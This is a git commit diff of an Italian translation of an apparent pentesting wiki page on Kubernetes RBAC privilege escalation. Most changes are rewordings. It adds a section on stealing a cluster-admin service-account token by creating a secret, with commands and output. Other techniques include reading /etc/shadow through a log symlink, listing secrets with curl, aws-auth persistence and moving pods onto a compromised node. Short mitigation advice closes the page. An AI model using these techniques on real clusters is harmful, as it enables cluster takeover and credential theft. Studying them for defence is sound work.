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2025-01-22 12:06:19 +00:00
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commit a49362fede

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@@ -7,7 +7,7 @@ Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources
## **Privilege Escalation**
Riferendosi all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi, in Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:
Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:
- Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
@@ -33,9 +33,9 @@ verbs: ["*"]
In RBAC, alcune autorizzazioni comportano rischi significativi:
1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione dei privilegi.
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation di privilegi.
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente causando la fuga di dati sensibili.
3. **`get`:** Permette di accedere ai segreti degli account di servizio, rappresentando una minaccia per la sicurezza.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi.
Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. In effetti, aumentando i privilegi.
Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
```yaml
@@ -74,9 +74,9 @@ hostNetwork: true
```
### Creazione e fuga del Pod
Quanto segue indica tutti i privilegi che un container può avere:
Il seguente indica tutti i privilegi che un container può avere:
- **Accesso privilegiato** (disabilitare le protezioni e impostare le capacità)
- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
- **Montare gli host / all'interno del container**
@@ -140,7 +140,7 @@ _Puoi trovare esempi di come creare/abuse le configurazioni dei pod privilegiati
### Pod Create - Move to cloud
Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedendovi.\
Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**.
Per ulteriori informazioni controlla:
@@ -149,7 +149,7 @@ Per ulteriori informazioni controlla:
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente.
@@ -211,7 +211,7 @@ Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'espos
Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:
- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -247,7 +247,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Che era destinato a prevenire le fughe come quelle precedenti, utilizzando, invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -310,19 +310,82 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Elencare i Segreti
### Elenco dei Segreti
Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Lettura di un segreto brute-forcing token IDs
### Creazione e Lettura dei Segreti
Esiste un tipo speciale di segreto Kubernetes di tipo **kubernetes.io/service-account-token** che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Esempio di sfruttamento:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace.
### Lettura di un segreto forzatura dei token ID
Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di _**elencare i segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [codice sorgente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di brute-force per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.
Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe eseguire un attacco di forza bruta per dedurre il token in poche ore, portando potenzialmente a un'escalation dei privilegi accedendo a account di servizio sensibili.
### Richieste di Firma di Certificati
### Richieste di Firma del Certificato
Se hai i verbi **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.**
@@ -370,7 +433,7 @@ Il modo per bypassare questo è semplicemente **creare una credenziale del nodo
```
### AWS EKS aws-auth configmaps
I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **aws-auth** configmap.\
I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\
I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
```bash
# Check if config map exists
@@ -411,17 +474,17 @@ groups:
- system:masters
```
> [!WARNING]
> Puoi usare **`aws-auth`** per **persistenza** dando accesso agli utenti di **altri account**.
> Puoi usare **`aws-auth`** per **persistenza** dando accesso a utenti di **altri account**.
>
> Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.
### Escalation in GKE
### Escalating in GKE
Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).
> [!WARNING]
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, verificherà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi verificherà se ha **accesso tramite GCP IAM**.\
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.
Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.
@@ -432,9 +495,9 @@ Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro *
Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).
### Creare token serviceaccounts
### Create serviceaccounts token
Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando parlano con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
@@ -444,11 +507,11 @@ Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** p
Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.
Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](./#malicious-admission-controller).
Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller).
### Escalate
Come puoi leggere nella sezione successiva: [**Prevenzione dell'escalation dei privilegi integrata**](./#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.
### Nodes proxy
@@ -459,11 +522,11 @@ Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/#kubelet-rce).
Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce).
### Eliminare pod + nodi non pianificabili
### Delete pods + unschedulable nodes
Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **evictare pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non programmabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -488,7 +551,7 @@ Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/acc
Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.
La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
> [!WARNING]
> C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
@@ -496,7 +559,7 @@ La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se p
### **Ottieni & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.**
> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un altro SA alcuni privilegi se non li hai già.**
Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.**
@@ -504,9 +567,9 @@ Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a
### App proxy Sidecar
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, pod a pod.
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.
#### Crea un'app proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Crea un'app proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Crea il tuo .yaml
```bash
@@ -548,7 +611,7 @@ Vedi i log del proxy:
```bash
kubectl logs app -C proxy
```
Maggiori informazioni su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Malicious Admission Controller
@@ -609,9 +672,9 @@ Il frammento sopra sostituisce la prima immagine del container in ogni pod con `
- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.
### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings**
### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings**
- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi gli utenti irrilevanti per mantenere una sicurezza rigorosa.
- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.
### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide**